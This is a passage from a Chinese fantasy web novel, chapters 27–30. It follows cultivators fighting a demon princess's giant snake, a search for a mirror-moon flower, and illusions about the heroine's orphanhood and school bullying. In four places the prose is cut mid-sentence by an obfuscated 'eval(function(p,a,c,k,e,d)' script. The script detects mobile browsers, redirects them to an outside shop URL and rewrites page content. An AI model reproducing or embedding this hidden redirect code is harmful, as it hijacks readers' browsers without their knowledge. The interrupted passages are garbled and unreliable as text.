这次衡遂等人早有准备,稳住了下盘,并没有被冲力带倒在地。但巨蛇的修为实在太深厚,他们使劲浑身解数,都没能有力地削弱它,场面一时间僵持不下。 巨蛇有着碾压性的胜利优势,但它似乎并不急于结束战斗,像猫捉老鼠般戏耍着众人,始终没有放出真正的杀招。 随着时间的流逝,每个人的灵力都消耗巨大,不少人已经无力瘫倒在地,在场还能站着的人也只能是勉强招架。 就在衡遂和冯念之恰好吸引了巨蛇全部注意力时,白衣领队忽然后退了两步,与正扶起伤员的浓胡子对视了一眼,猛地挥袖掷出一枚弹丸。 弹丸一落地就原地炸开大片的白雾,白雾迅速扩散蔓延四周,浓重的白烟扰乱了所有人的视线。 冯念之猝不及防吸入几口,被呛得连连咳嗽。待浓烟散去,她震惊地发现所有白衣人竟都趁着浓雾的掩护撤退了,消失得无影无踪。 独留她和衡遂面对巨蛇。 “卑鄙小人!他们也好意思在外自称是辑尘司的人!”冯念之气得浑身发抖,她万万没想到辑尘司的人竟会利用他们做掩护趁机逃走,弃他们于蛇口而不顾。 “念之,小心!”衡遂横剑挡在她与巨蛇之间,将她往安全的方向推去,“你快走,我来断后。” “不,要死一起死!”冯念之眼神坚决,死死抓住衡遂的衣袖不肯松手。 就在他们推拒间,巨蛇居然没有进一步的攻击动作,也没有因为白衣人的集体遁逃而恼怒追赶,反倒悠哉悠哉待在原地看着他们上演着生离死别,看了会觉得无聊还打了个哈欠。 “银蟠,你怎么跑这里来了?”一道娇俏的女声突然响起,“害我好找!” 衡遂和冯念之循声望去,只见树后缓步走出一位姿容艳丽的少女。她身着魔界特有的华丽服饰,墨紫色的长裙绣着繁复华丽的暗纹,一头漆黑的及腰长发被编成无数细辫,缀满璀璨的宝石,随着她的走动发出清脆的撞击声。 衡遂敏锐地抓住一线生机,上前一步拱手道:“敢问姑娘,这巨蛇是您的魔宠吗?” 少女淡淡扫了他们一眼,眼神如同在看两只微不足道的蝼蚁。视线停留在他们身上不到两秒,她便转向巨蛇,语气带着嫌弃:“你怎么爱上吃这些了?也不怕吃坏了肚子。” 她将他们的问话彻底视作了空气,仿佛根本不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16568012|183016||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 值得她回答。 这样的言语和态度彻底激怒了冯念之:“你这是什么意思?你的魔宠伤人在先,你不仅不道歉,还这般侮辱我们?简直是目中无人、草菅人命!” “大胆!”少女身侧的黑影瞬间化出一个人形守卫,护在她身前,厉声呵斥冯念之,“竟敢对凝雨公主大不敬!” 被称为“凝雨公主”的少女冷笑了一声,眼神轻蔑地落在他们的面庞上:“能被银蟠吃,是你们的荣幸。” “我管你是什么鸟公主!”冯念之怒火中烧,就要冲上去和她理论。衡遂连忙拦住她,朝凝雨躬身致歉:“家妹性子冲动,还望公主海涵。” 凝雨显然从未被人如此顶撞过,脸色瞬间阴沉下来,冷声命令道:“银蟠,给我吃了这两个不知死活的东西!” 然而,巨蛇并未听从她的指令,反而盘踞在原地,昂起头颅四处张望,似乎在寻找什么。 凝雨面露不悦,恶狠狠地威胁道:“银蟠!你居然敢不听我的话,等你主子回来你就有好果子吃!” 见银蟠不理会她,依旧低头在空气中嗅探,她眼睛一亮,心里缓缓冒出了一个猜想,让她瞬间把处置衡遂和冯念之的事情抛到了脑后:“难道……你发现了他的踪迹?” 她跟着银蟠四处打量,却一无所获。银蟠搜寻无果后,兴致缺缺地缩回了身子。 这时,一旁的暗卫低声提醒道:“公主,时间紧迫,我们要赶紧找镜月花了。” 凝雨这才想起了正事,狠狠瞪了衡遂和冯念之一眼,冷哼道:“算你们俩走运,今日本公主有要事在身不和你们计较!” “银蟠,我们走。”她一声令下。 这次巨蛇意外地听话,它甩了甩头,从庞然大物骤然缩小到绳子般大小的小蛇。 凝雨俯下身,对它伸出手臂,它便乖觉地自动爬上,顺着她的指尖蜿蜒游走,最终乖巧地缠绕在凝雨的臂弯处,阖眼休息。 暗卫见准备就绪,挥了挥披风,不知施的什么法,二人顿时化作黑雾消失在原地。 在确认他们彻底离开后,衡遂紧绷的神经才敢放松下来。过度消耗灵力让他几乎站立不稳,但他仍强撑着问道:“三师弟他们可平安离开了?” 冯念之急忙取出传讯玉碟,看到了师弟师妹传来的平安讯息,欣喜道:“他们已经安全离开秘境了。” 衡遂长舒一口气:“那就好。叫他们二人不必忧心我们,务必先将东西护送回宗门。” “好,我这就给他们发讯。”冯念之应是,依他所言低头在传讯玉碟上回复讯息。 衡遂看了看静悄悄的四周,随即想起什么,神色骤然大变:“应娘子和颜公子呢?” 冯念之愕然抬头:“……糟了!我怎么把他们给忘了!” 他们这才惊觉不见颜悬昭和应逢怜的身影许久,慌忙在林间和周遭四处寻找二人的踪迹。 “应娘子!颜公子!” “昭昭姐,你们在哪?!” 他们的呼喊声回荡着,却迟迟没有得到回应。林间再无半点人影,只残存着打斗留下的一片狼藉。 28. 镜花水月(一) 时间回溯到巨蛇戏耍众人时,颜悬昭眼看着局面越来越混乱,想着趁乱赶紧逃跑。 可她的腿软得跟面条一样,勉强走了两步,就一个踉跄摔坐在地。 死腿,快跑啊!待会巨蛇杀个回马枪就不好了! 颜悬昭心里怒骂着自己不争气的腿脚,心里焦急万分。顾不得什么体面了,她索性手脚并用,在草丛间艰难地爬行。 就在她以龟速向前挪动时,忽然感到腰间一紧,整个人被一股力量带起,双脚瞬间离地,被人夹到了臂弯之中。 她惊慌地抬头,映入眼帘的是应逢怜那张熟悉的面容。幂篱下的他神情依旧冷漠,但此刻在她眼中却显得如此温暖! 感谢魔头良心发现带她一块走! 应逢怜运起轻功,几个起落间便带着她远离了那片混乱的战场。风声在耳边呼啸,下方的树木飞快地向后退去,速度快到令颜悬昭晕头转向。 不知过了多久,应逢怜终于落地,松开了揽着颜悬昭腰的手。 颜悬昭踉跄了几下,才堪堪在地面站稳,仍然是惊魂未定,此刻才涌出一股劫后余生的后怕与庆幸。 待心跳稍稍平复,她忽然想起还在混战之中的冯念之和衡遂:“对了,念之他们……” 应逢怜冷冷打断她:“你都自身难保了,还去操心别人。” 颜悬昭只好默默咽回没说完的话。 她确实……无能为力。 他们这些仙门宗门之中的佼佼者都拿巨蛇没办法的话,那她这个废柴又能帮上什么忙呢? 她能够乖乖苟着,不给大家拖后腿已是最大的帮忙了。 祈祷辑尘司能够制服巨蛇,保护他们安全无恙吧。 “别发呆了。”应逢怜的声音将她从思绪中拉回,"我们必须在今日内找到镜月花。” 颜悬昭这才回过神来,仔细打量起四周的环境。 眼前是一片望不到边际的纯白花海,微风拂过时,层层叠叠的花瓣起伏如白色海浪,零星分布的怪石点缀其间,蝴蝶在花丛中翩翩起舞,祥和宁静地如同世外桃源。 更让她感到奇怪的是,越是靠近这片花海,沿途遇到的魔物就越多,可真正踏入这片区域后,反倒连一只魔物的影子都看不到了。 颜悬昭看着眼前密密麻麻的花,大片大片的白炫得她有点眼花缭乱:“这么多花,到底哪一朵才是镜月花啊?” “花型似蝶,色泽殷红,有独特异香。”应逢怜复述着藏宝图上的描述。 颜悬昭将这几个特征牢牢记在心里,开始在花丛中仔细搜寻。可是目之所及尽是洁白如雪的花朵,连一丝红色都看不见。 她和应逢怜在花海中找了整整一个下午,却始终一无所获。 夕阳西下,颜悬昭累得直接坐到了草地上,望着眼前的美景,心下一片怅然。复杂的心绪沉甸甸地压积在她的心头,让她也不知道自己怎么了。 应逢怜走到了她的跟前。 她以为他是来催促她继续寻找的,刚要疲惫地起身,就听到他突兀地说了一句:“他们不会有事的。” 这话没头没尾的,她却知道他说的是衡遂他们。 颜悬昭沉重的心情骤然一松。 不知为何,她就是格外相信应逢怜的话。既然他说衡遂他们会平安无事,那就一定不会有事。 然而应逢怜接下来的话立刻让她的心情再次沉重起来。 “好了,继续找吧。” 该死的应逢怜,简直是和系统一样的周扒皮! 为什么牛和马都有休息时间,牛马却没有?! 颜悬昭心里疯狂怒骂着应逢怜,身体却还是老老实实地站起来,拖着疲惫的步伐继续寻找。 这个时候她才意识到系统已经很久没说过话了,在脑海里询问:【系统,你在吗?】 系统没有回应。 她猛地想起自己把系统屏蔽了,连忙将它拉出了小黑屋。 【终于想起我了吗……】系统幽怨的声音在她脑海里响起。 【这不是给忙忘了嘛……】颜悬昭赔笑道,顺手查看了一下应逢怜的好感度。 当看到那个数字时,她激动得差点跳起来——不知何时,好感度已经悄悄攀升到了20! 【好感度才20而已,正常人对路过的一个面善的陌生人好感度都有20。】系统猝不及防地给她泼了一盆冷水。 颜悬昭的微笑僵硬在脸上。人还笑着,内里其实已经疯了。 太好了哈哈哈,努力半生终于让应逢怜对她的好感度攀升到正常人对陌生人的好感度水平了! 系统见打击得她太狠了,连忙找补道:【现在这样已经很不错了,应逢怜对陌生人的好感度通常都是负数的,这个世界上能让他好感度是正数的人不超过三个。】 颜悬昭:……不愧是他。 “昭昭姐!” “应娘子,终于找到你们了。” 熟悉的声音遥遥传来,花海的边缘出现了两个模糊的黑点,随着他们的靠近,身影越发清晰。 不多时,衡遂和冯念之就出现在了她的面前。 颜悬昭大喜过望,情不自禁地喃喃道:“你们、你们没事。真是太好了、太好了……” 冯念之激动上前抱住她:“昭昭姐,没能顾上你们,我们还担心你们出事了。看到你们平安,真是太好了!” “是啊,你们若是出事了,衡某此生都要良心不安了。”衡遂也感慨地说道。 看着两人真诚的目光,颜悬昭忽然感到一阵自惭形秽。他们的磊落坦荡,让她不敢直视。 所幸,有一个更加薄情寡义的家伙走过来了,让颜悬昭良心上那点负担瞬间灰飞烟灭了。 “二位平安就好。”应逢怜语气平静地敷衍了一句,话锋陡转,“我和昭昭正在寻找镜月花……” 颜悬昭不禁腹诽:这人真是演都不演了。 果然没良心且脸皮厚才能活得轻松自在。 衡遂立即表示:“既然如此,我和念之也来帮忙。” “四个人一起找,总能快些。”冯念之附和道。 “四人?”颜悬昭看了看他们身后,疑惑问道,“你们师弟师妹呢?” “秘境凶险,我让他们先行返回宗门了。”衡遂解释道。 “原来如此。”颜悬昭了然,“那事不宜迟,我们继续找花吧,我和……相公已经找过这块了,你们去找那块吧。” “若是见到带有异香的红花,还请告知。”应逢怜补充道。 衡遂和冯念之会意,立即加入了寻找的队伍。 这 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16583178|183016||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一找就找到了深夜。令人困惑的是,这么大一片花海,竟然连一朵红色的花都找不到。夜色渐深后,寻找工作更是难上加难。 颜悬昭索性瘫倒在花丛里,打定主意不管谁叫都不起来了。 应逢怜和衡遂、冯念之聚在一起商量对策。 “我们会不会寻找的方向出错了?”衡遂提出疑问,“这样盲目的找下去,我们在秘境关闭前也未必找得到镜月花。” “颜兄,你得到的线索里,可有什么特别的提示?”经过这一日的相处,衡遂对应逢怜的称呼也亲切了些。 应逢怜面色凝重,缓缓摇头:“只知道镜月花生长在此处,并未提及具体寻找之法。” “师兄你看!”冯念之忽地扯了扯衡遂的衣袖,指向不远处的怪石。 只见皎洁的月光透过石上的窟窿,凝成了一道明亮的光柱 衡遂环顾四周,发现花海中的怪石大多都有类似的孔洞,心中顿时有了个猜想:“颜兄、念之,我们去看看这些石头是否是可移动的?” 他们三人来到石头旁,动手推了推,发现这些看似沉重的石头,分量确是格外地轻,竟是可移动的。 应逢怜沉吟了片刻,有了主意:“我们试试挪动这些石头,让月光聚集到一处。” 他们开始小心翼翼地挪动怪石,让每一束月光都指向同一个方向。当最后一块石头归位时,所有的光柱终于交汇在一起。 刹那间,光华大盛。耀眼的光芒惊动了瘫在花丛中的颜悬昭,她好奇地翻身坐起。 只见光束汇聚之处,地面仿佛被融化般渐渐凹陷,不断地向四周扩散,月光落下化作湖水,最终形成了一个波光粼粼的湖面。 颜悬昭跟随着他们一道走到湖边。 湖面荡漾着、闪烁着月华的银光,仔细看去,能隐约瞧见湖底透出的红色光芒,仿佛水下藏着一片红色的花海。 一阵风拂面而过,颜悬昭闻到一股奇异的花香,仿佛被蛊惑了般,痴痴地将手伸进湖里,试图捧起一掌清凉的湖水。 她的指尖刚触及冰凉的湖面,就猛地感受到一股强大的吸力—— “噗通”一声,颜悬昭就被径直拽进了湖里。 “昭昭姐!”冯念之惊呼冲上前要抓住她,指尖却与她的衣摆将将擦过,扑了个空。 就在他们兵荒马乱之际,接连地又是一声“扑通”。 竟是应逢怜。 他毫不犹豫地跳入了湖水里。 一炷香的时间过去了,湖面依然平静如镜,不见两人的踪影。 衡遂当机立断:“念之,你留在这里。我下去找他们,若是一直没回来,你就立即返回宗门。” 说罢,他也纵身跳入了湖中。 霎时间,湖边只剩下了冯念之孤零零一人,夜晚的寒风阵阵却吹不息她的心急如焚。 月亮渐渐升高,又缓缓西沉,却始终不见他们三人的身影出现在湖边。 她不由得去猜想那个最坏的结果,耳边反复回响着衡遂的话语。 不行,她不能独自苟活。 她一定要知道他们到底出了什么状况。 冯念之咬了咬牙,最终也跃入了冰冷的湖水。 在她没入水面的刹那,倒映在湖心的月亮,突然变成了一轮血月。 29. 镜花水月(二) “颜悬昭,上我的课你居然敢睡觉!”严厉的男声在耳边骤然炸响,喊她名字的声音里带着满满的怒意。 颜悬昭猛地惊醒,下意识站起身,膝盖却不小心撞翻了面前的课桌。课本、文具哗啦啦散落一地,倒塌散落的声音在安静的教室里显得格外刺耳。 她顾不上膝盖的疼痛,茫然地站在原地环顾四周的环境,不知所措。 熟悉的黑板报,墙上贴着“好好学习、天天向上”,陈旧的讲台上面站着个戴黑框眼镜的中年男人,讲台下一张张青春稚嫩的面孔齐唰唰地扭头看向她。 “还不快把东西捡起来?!”站在讲台上的眼熟中年男人再度出声,重重拍着桌面,“睡傻你了吗!” 话音刚落,教室里顿时爆发出哄堂大笑。 颜悬昭这才反应过来,这里是她的高中课堂。刚刚怒斥她的中年男人是她的高中班主任,她因为在课堂睡觉而被点名叫起来了。 一切似乎很合乎情境,但直觉告诉她,她不应该在这里……那她又该在哪? 她一要思考头就钝痛得厉害,索性先按照“班主任”所说,扶起倒下的桌子,将散落的东西收拾好,不影响上课的秩序。 就在她手忙脚乱地捡拾文具时,一只修长的手伸了过来,轻轻拾起滚落到角落的橡皮擦递到她面前。 颜悬昭抬头,对上一双含笑的眼眸。少年穿着和她一样的蓝白校服,见她望过来,微微歪头,又将橡皮擦往前递了递。 “谢谢你啊。”颜悬昭愣愣地接过。 “同桌之间,理应互帮互助,不必言谢。”少年展颜一笑,声音清朗。 颜悬昭攥紧了手中的橡皮,心里涌起一股强烈的违和感。 她明明记得自己一直都是单独坐的……不对,高二上学期确实有个转学生来做她的同桌,但高三上学期又转走了,相处的时间太短,她几乎要忘记了。 她怎么不记得对方是这样的性格,言行举止看起来……还是个古风小生? 越深究,她的脑袋就越是混沌。颜悬昭甩了甩头,试图驱散这种不适感,也因此没看到少年微妙地僵硬了一瞬。 少年不再多言,沉默着帮她收拾起文具。在两个人的合力下,散落一地的东西很快被收拾好了。 这时颜悬昭也迎来了她上课睡觉的真正惩罚——到走廊上罚站。 颜悬昭拍了拍手上的灰尘,迎着班级里一群人恶意嘲弄的目光,坦然地走出了课室。 她刚在空荡的走廊里站定,穿堂风就带着初秋的凉意袭来,风的触感真实无比。 颜悬昭大力地掐了一下臂弯上的肉,瞬间唤醒了大脑的痛觉神经,疼痛感清晰地传来。 糟糕,难道不是梦吗? 尽管这里的一切都无比真实,但颜悬昭还是觉得这里隐隐透露着说不出的古怪。 这时,刚刚帮她的那个少年也从课室走了出来,站到了她的身边。 颜悬昭奇怪地打量着他,诧异道:“你不上课出来干什么?” 少年无奈地耸了耸肩,语气无奈:“包庇同桌睡觉,被治了连坐之罪。” 颜悬昭没有回应,而是在心里暗暗吐槽:“这人有病吗?我睡觉关他屁事啊。” 少年没有再说话,两人就这样僵硬站着,气氛凝滞。 这样的安静氛围,正合颜悬昭的意,让她能够集中注意力理清思绪。 她努力回想之前的事:自己是个孤儿,靠着努力考上了A市最好的高中,从此过上了一边勤工俭学一边努力学习的日子。但因为晚上兼职导致睡眠不足,她常常会在白天课堂上不留神给睡着了。 颜悬昭越复盘越觉得心惊——她居然只记得自己人生的背景梗概,连昨天发生了什么事情都想不起来了,仿佛她的人生是从刚刚醒来的那刻才拥有的具体记忆。 “昭昭,”少年忽然开口,转头认真地看着她,“你说,是庄周梦蝶,还是蝶梦庄周?” 颜悬昭无意探讨什么哲学问题,一门心思想寻找出这里的破绽。 她没有理会少年,也没有继续老老实实地罚站,而是转身朝楼梯口走去。 “昭昭,你要去哪?”少年惊讶地在她身后呼唤,见她不回应,连忙小跑着跟上了她。 颜悬昭头也不回,加快脚步在楼道里穿行。她仔细打量着教学楼以及校园的每一个角落——告示栏上永远张贴着同一批的优秀学生照片、对面教学楼外墙的干枯发黄的爬山虎、操场上的因常年风吹雨打而褪色生锈的篮球架…… 一切都和她记忆中的高中校园如出一辙。 走到某个楼梯拐角处,她突然停住脚步,蹲下身,伸手在楼梯其中一根栏杆下半截摸索起来,当指尖触到那一小块残缺的凹陷时,她的心猛地沉了下去。 这个细微的凹陷是她当年搬动桌椅上下楼时不小心磕出来的,除了她自己,几乎没人会注意到这个隐蔽的地方。 难道这里真的是现实世界?她穿越回高中时代了? 这个念头刚闪过,一阵剧痛就席卷了她的脑海,疼得她几乎站立不稳。 为什么要用“穿越”这个词?她不是一直都在这里读书吗? “昭昭,你怎么了?”少年急忙上前扶住她,语气中满是关切。 “我没事。”颜悬昭刚想抬头敷衍他两句,她的脑海里突然闪过了大量的回忆片段。 她想起来了。 她昨晚去大排档兼职完回来的路上不慎摔倒,撞到了脑袋。她原以为睡一觉就没事了,就没去医院,结果现在脑子闷闷作疼,记忆一直处于掉线的状态,时不时还会产生记忆错乱。 少年俯身看着她,眼神温柔:“头还疼吗?要不要去医务室看看?” 颜悬昭看着眼前熟悉的人,关于他的所有记忆瞬间全部涌来。 是他,她的同桌。 虽然只相处了短短一年,但她每个狼狈不堪的时刻,他都陪在她的身侧,主动拉过她的手带她趟过黑暗。 “怎么哭了?”少年用校服袖子轻轻擦去她脸上的泪水。 颜悬昭这才意识到自己脸上冰凉一片,不知何时已泪流满面。 她狼狈地擦去眼泪,哽咽道:“你怎么才出现……” 这话说得无比奇怪,连她自己也不知道为何要这样说。 明明他始终陪伴在她的身边…… 少年微微一怔,随即漾开一个温暖的笑容:“从今往后,我会一直陪着你的。” ———— 冯念之从床上迷迷糊糊地醒来,头疼 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16599035|183016||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 欲裂,身上各处传来的钝痛让她忍不住轻哼出声。 “念之,你终于醒了!”衡遂激动的声音在耳边响起,带着如释重负的喜悦。 冯念之睁开沉重的眼皮,看见师兄正守在床边。他发丝凌乱,眼下带着浓重的青黑,原本整洁的道袍也显得有些褶皱凌乱,显然已经在她床前不眠不休地守候了许久。 “师兄……我这是怎么了?”冯念之困惑地问道,刚开口就被自己沙哑至极的嗓音吓了一跳。 她明明记得自己跳进湖里去找衡遂他们的,怎么会在床上醒来?她怎么想不起跳入湖水之后的事情了? 衡遂眼眶微红,声音带着心疼与责备:“你太傻了,为什么要冒险跳下来救我们?” “我们在水下发现了一个迷宫,在里面寻找镜月花耽搁了些时间。等出来时,就发现你为了找我们被魔兽袭击,重伤昏迷至今。” 冯念之突然感到头上又一阵钝痛,下意识抬手,却摸到了缠着纱布的脑袋,这才恍然大悟。 难怪她觉得记忆有些混乱,原来是头部受伤的缘故。 “那昭昭姐他们平安出来了吗?”冯念之刚从头疼中缓过来,便急切地撑起身子询问。 衡遂如同她肚子里的蛔虫一般,将她想知道的都巨细无遗地告诉了她。 “放心。昭昭娘子和应公子都平安无事,我们也成功拿到镜月花了。”他最后补充了句,成功安抚住了冯念之的焦躁不安。 “太好了!”冯念之有些激动,掀开被子就要下床,“我去看看他们。” “别,你身子还没完全好呢。”衡遂连忙拦着她,将她轻轻按回床上,语气柔和,“你昏迷得实在太久了,昭昭娘子他们有要事在身,前几日就和我们辞行了。” 冯念之闻言失落地垂下眼眸:“还没好好道别呢……不知何时才能再见了。” 衡遂扶着她躺好,细心为她掖好被角,温声安慰道:“我们有缘总是会再见的,不急于这一时。” “更何况,以后有我陪着你。” 冯念之猛地抬头,有些不可置信地望着他。 衡遂亦回望着她的双眼,眸中盛满她从未见过的深情。 她见过师兄温柔的眼神、鼓励的眼神、不认可的眼神、无可奈何的眼神……唯独没见过这般看着她的师兄。 冯念之被他看得心跳加速,情不自禁地唤道:“师兄……” 衡遂轻轻将她拥入怀中,动作珍重而温柔,仿佛抱着失而复得的至宝。 他在她耳边低语,声音带着些许哽咽:“这次差点失去你,我才明白你对我有多重要。这些天看着你昏迷不醒,我才意识到……念之,以后都不要离开我,好吗?” “好、好……”冯念之愣愣地答道,失神地看着眼前的人,像一个猛地幸福冲昏了头脑的人,一时间不知作何反应。 经年的渴求竟真在一夕实现了。 她定定地看着眼前紧紧抱着自己的人,伸手摸向他的脸,他见状微微一笑配合地拉过她的手紧紧贴在自己的脸侧。 触感温热而真实。 良久,她收回了手,轻轻回抱住了衡遂,心如擂鼓,不能自已。 黄粱一梦也好,镜花水月也罢。 她甘愿沉溺。 30. 镜花水月(三) 福利院院长办公室里,午后的阳光透过百叶窗的缝隙,在地板上投下斑驳的光影。 院长坐在那张用了多年的旧办公桌后,对面坐着一对衣着体面的中年夫妇。 “院长,我们想收养个性格活泼开朗的女孩,小昭她性子有点沉闷……不太符合我们的要求。”其中的那位夫人委婉地说道。 见对方没有收养的意愿,院长也不好强求,叹息道:“我理解,你们如果改变主意的话,欢迎随时回来。” 躲在门外偷听的小颜悬昭默默缩回脑袋,难堪地揪紧了身上已经明显短小的衬衫。 她早就知道会是这样结果,却还是不死心地抱有着希冀。 听到里面的脚步声临近,她慌忙转身就跑,一路跑到院子里那个废弃的滑梯后面,蹲下来把脸埋在膝盖间无声啜泣。 颜悬昭向来是个不讨喜的人。 如果她讨喜的话,或许父母就不会把她抛弃到福利院门口了。 就算到了福利院里,她也不是一个讨人喜欢的孩子。她没有天使般可爱的面庞,性格也沉闷孤僻,同龄小伙伴们不愿意和她玩,工作人员分发零食时,她也总是最后被想起的那个。 那时的她还不会伪装,不会装得活泼开朗去吸引大人的注意力,也不会去示弱扮可怜惹得别人怜悯,只会傻愣愣地站着,受伤了也只会独自躲起来舔舐伤口。 每对出现在她面前的收养人,看到她都会不可避免地露出失望的目光。就算稍微有意愿的夫妻最后也会找到更合眼缘的孩子,依旧无果而终。 她从来都不会被选择。 随着时间的流逝,和她同样时间进来的孩子都陆陆续续被收养了,而颜悬昭依旧待在福利院里,从小孩子变成了大孩子。 她渐渐明白,自己就像货架上过期的商品,再怎么打折促销也不会有人问津。 颜悬昭不再期待于一对神仙父母的降临。 从前没有也过来了,那今后也不再需要了。 颜悬昭,你不需要父母的。 她开始拼命学习、没日没夜地学。这是她狭窄的人生里能看见的唯一出路,如果不能抓住,过期商品的唯一归宿只能是垃圾堆,苍蝇乱飞、污水横流,最后在无人知晓的角落里逐渐腐烂。 功夫不负有心人,她最终以优异的成绩考上了本市最好的高中。因为孤儿身份加上成绩突出,学校特批她学费食宿全免。 她原以为这会是她璀璨人生的开端,然而现实很快给了她沉重一击。 这所私立高中师资优秀,学生要么家境优渥,要么天赋异禀。颜悬昭引以为傲的成绩在这里只能排在末流,那些真正的天才让她意识到自己不过是个努力的普通人。 学校按成绩分班,她很快被分到了最差的班级。差班都被安置在老校区,与华丽的新校区仅一墙之隔,却仿佛是两个世界。 但她很快振作了起来。毕竟颜悬昭的人生一直都在打逆风盘,最擅长的也是逆风盘。 她重新设定目标,立志要考上理想的大学。也正是在这时,她认识了人生中第一个朋友——小凤。 小凤是个淳朴善良的农村姑娘,脸颊总是红扑扑的,笑起来会有两个小梨涡。 原本在乡下中学名列前茅的她来到这里也感受到了和颜悬昭相同的落差,同样的境地让她们惺惺相惜,很快就成为了无话不谈的好朋友。 她们约定要互相督促,一起考上理想的大学。 那段日子是颜悬昭记忆中为数不多的温暖时光。每天放学后,她们会一起在教室里自习,分享各自从食堂打的饭菜,偶尔还会凑钱买一堆零食分着吃。 小凤总是将“等我们考上大学就好了”挂在嘴边,彼时的颜悬昭也这样坚信着。 然而好景不长。 渐渐地,颜悬昭发现小凤的学习状态越来越差,每天早上都是红肿着眼睛来上课,作业也经常不翼而飞,导致频频被老师罚站。 颜悬昭好几次询问她:“怎么了?” 小凤总是欲言又止,最终还是沉默地摇了摇头。 直到有一天,颜悬昭在班级的垃圾桶里看到了小凤被撕烂的试卷。 那一刻,她才迟钝地意识到她的好友经历了什么,而她却对班级里的这些暗潮汹涌浑然不觉。 她们的班级里,既有成绩较为优秀的寒门学子,也有不学无术的富家子弟,但这两个群体向来是井水不犯河水般共存着。 小凤却不知道为何得罪了那些不学无术的二世祖。又或许并不需要理由,贫穷就是原罪,可以成为他们发泄不满和彰显个性的口子。 起初他们只是偷偷撕毁她的作业,后来变本加厉,开始公开羞辱她。 英语课上,当小凤带着口音朗读课文时,后排总会传来夸张的模仿和窃笑。 小凤经过他们身边时,有人会故意捏着鼻子说:“天呐,她是不是好几天没换袜子了?” 即使小凤红着脸辩解自己每天都换洗,他们也只会嬉皮笑脸地回应:“我们又没说你,自作多情什么?难道……你真是‘臭袜子’?” 类似的事情层出不穷,小凤失去了自己的名字,取而代之的是各种侮辱性的外号。 颜悬昭劝小凤告诉老师,但小凤总是摇头:“没用的,他们家里都有背景。” 不忍看好友继续受欺负,颜悬昭决定替她出头。她鼓起勇气向班主任反映了情况,却只得到一句轻描淡写的回应:“同学之间开开玩笑而已,又没造成什么实质伤害。” 班主任的态度让颜悬昭如坠冰窟。 连老师都置若罔闻的话,那么谁又能救小凤呢,谁又能救和小凤一样处境的学生呢? 颜悬昭还在为小凤寻找破局之法,小凤却自己找到了逃生之路。 她献祭了颜悬昭。 从办公室回来后,颜悬昭走进教室就感受到一道道不善的目光。 为首的男生冷笑着开口:“颜悬昭,没想到你还是个告密的小人啊?” 颜悬昭不可置信地看向躲在他们身后的小凤,却看见她闪躲着,怯懦道:“昭昭,我都说他们是和我闹着玩而已,你干嘛要去告诉老师呢……” 那天起,颜悬昭的噩梦开始了。 她代替了小凤的位置,成为了他们戏弄的对象。 她的课本不再出现在课桌上,而是在垃圾桶里、水池边,甚至厕所里。每晚回到宿舍,床铺总是湿漉漉的,衣柜里的衣服被翻得乱七八糟。 她不得不搬出宿舍,在外租了个狭小的隔间。为了支付房租,她只能在放学后去兼职打工。 黑板上的值日生名字永远写着“颜悬昭”,班上没有一个人敢和她说话。 她试过向老师求助,换来的只是施暴者不痛不痒的道歉,以及 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16611020|183016||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 随后更加隐蔽而猛烈的报复。 而小凤因为“投诚”,获得了那个小团体的接纳。她开始和他们同进同出,穿着越来越时髦,身上总是散发着浓郁的香水味,与刚入学时那个朴素的农村女孩判若两人。 她的成绩一落千丈,行为举止也越来越像那些曾经欺负她的人。 每当在走廊相遇,小凤总是目不斜视地从颜悬昭身边走过,仿佛她们从未相识。 颜悬昭想,趋利避害、明哲保身是每个人都懂的,只有她这个傻子明白得太晚。 她原以为,她和小凤最终的结局也只是形同陌路罢了,却不想会走到反目成仇。 那天清晨,颜悬昭提前许多到了教室,正好撞见小凤站在她的课桌前,把她的课本一本本扔进垃圾桶。 四目相对的瞬间,小凤的动作僵住了。 颜悬昭沉默地走过去,蹲在垃圾桶前,把书本一本本捡出来。小凤就站在那里看着她,两人谁都没有说话。 